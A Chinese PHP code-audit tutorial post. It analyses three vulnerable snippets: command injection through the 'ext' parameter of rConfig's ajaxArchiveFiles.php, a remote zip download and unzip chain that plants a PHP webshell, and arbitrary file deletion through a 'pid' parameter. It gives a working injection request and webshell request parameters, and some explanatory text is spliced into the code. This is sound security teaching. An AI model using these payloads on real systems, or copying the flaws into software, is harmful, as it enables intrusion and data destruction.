当前位置: 首页 > news >正文

PHP代码审计之实战审代码篇2

4. 仔细观察如下代码,思考代码有什么缺陷,可能由此引发什么样的问题?
<?php
require_once("/home/rconfig/classes/usersession.class.php");
require_once("/home/rconfig/classes/ADLog.class.php");
require_once("/home/rconfig/config/functions.inc.php");
$log = ADLog::getInstance();
if (!$session->logged_in) {echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';$log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");// need to add authentication to this scriptheader("Location: " . $config_basedir . "login.php");
} else {
//archive logs files$mainPath = $_GET['path'];$archiveMainPath = $mainPath . "archive/";$ext = "*." . $_GET['ext'];$fullpath = $mainPath . $ext;
// create and archive dir if not already createdif (!is_dir($archiveMainPath)) {mkdir("$archiveMainPath");}$today = date("Ymd");$commandString = "sudo -u apache zip -r -j " . $archiveMainPath . "filename" . $today . ".zip " . $mainPath . $ext;$ext 是拼接上去的 是可控传参 没有经过任何过滤exec($commandString);foreach (glob($fullpath) as $v) {unlink($v);}$fileCount = count(glob($mainPath . $ext));if ($fileCount > 0) {$response = json_encode(array('failure' => true));} else {$response = json_encode(array('success' => true));}echo $response;
}  // end session check

拼接造成命令注入了!
相关payload参考

GET /lib/ajaxHandlers/ajaxArchiveFiles.php?path=1&ext=;ls%3E../../pq.txt HTTP/1.1

5.仔细观察如下代码,思考代码有什么缺陷,可能由此引发什么样的问题?

/A/c/PluginsController.php

PHP 的 fopen() 函数可以用来打开远程文件

其中这个类可用用action参数去调用不同函数,例如以下

 解题:
        那我们可以发两个包,一个用来调用start-download 函数来下载一个远程的zip文件。当然这个地址是我们可控的,
action=start-download&filepath=msgphone&download_url=http://0.0.0.0/test/a.zip
        第二个包就调用file-upzip函数,让它去解压含php马的zip文件,也正好解压到了网站下的A/exts ,我们去访问它
action=sfile-upzip&filepath=msgphone&download_url=

 6.仔细观察如下代码,思考代码有什么缺陷,可能由此引发什么样的问题?
public function delall(){if(isset($_POST['send'])){if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);$_fileDir=ROOT_PATH.'/uploads/';foreach($_POST['pid'] as $_value){$_filePath=$_fileDir.$_value;if(!unlink($_filePath)){tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);}else{header('Location:?a=pic');}}}}

pid是我们可控的,而且之后是拼接到filepath的 那这不就造成任意文件删除了吗!
解题

http://www.lryc.cn/news/275443.html

相关文章:

  • 05 Ciso模拟器连接腾讯云物联网开发平台
  • Nginx(二十) 获取真实客户端IP
  • 【攻防世界】Reverse—— IgniteMe writeup
  • m1芯片电脑上的paragon15如何安装激活 m1芯片电脑上ntfs for mac如何安装
  • 【DevOps-01]】DevOps介绍
  • 基于PHP的花店管理系统
  • 《PySpark大数据分析实战》-24.数据可视化图表介绍
  • kafka 偏移量的类型与提交方式
  • TCP服务器的编写(下)
  • Linux系统安全及应用
  • 初识Web服务器
  • IOS - 手机安装包 ipa 常见几种方式
  • 60、resnet50 权值和参数加载
  • wordpress在界面将站点地址直接修改为https导致上不去问题的解决办法
  • 数字IC后端实现之快速获取innovus中drv violation的所有net list
  • 【开源】基于JAVA语言的智能教学资源库系统
  • 数据库定义和操作语句的重要语法
  • 计算机组成原理 CPU的功能和基本结构和指令执行过程
  • 批量归一化:彻底改变深度学习架构
  • Spring05
  • MvvmToolkit的使用
  • 分布式【一致性Hash算法简介】
  • PHP命令行脚本接收传入参数的三种方式
  • 【STM32】STM32学习笔记-ADC单通道 ADC多通道(22)
  • 1329:【例8.2】细胞 广度优先搜索
  • 9款免费网络钓鱼模拟器详解
  • linux cpu、memory 、io、网络、文件系统多种类型负荷模拟调测方法工具
  • 1018:奇数偶数和1028:I love 闰年!和1029:三角形判定
  • 数据密集型应用系统设计--第2章 数据模型与查询语言
  • yolo 分割label格式标注信息图片显示可视化查看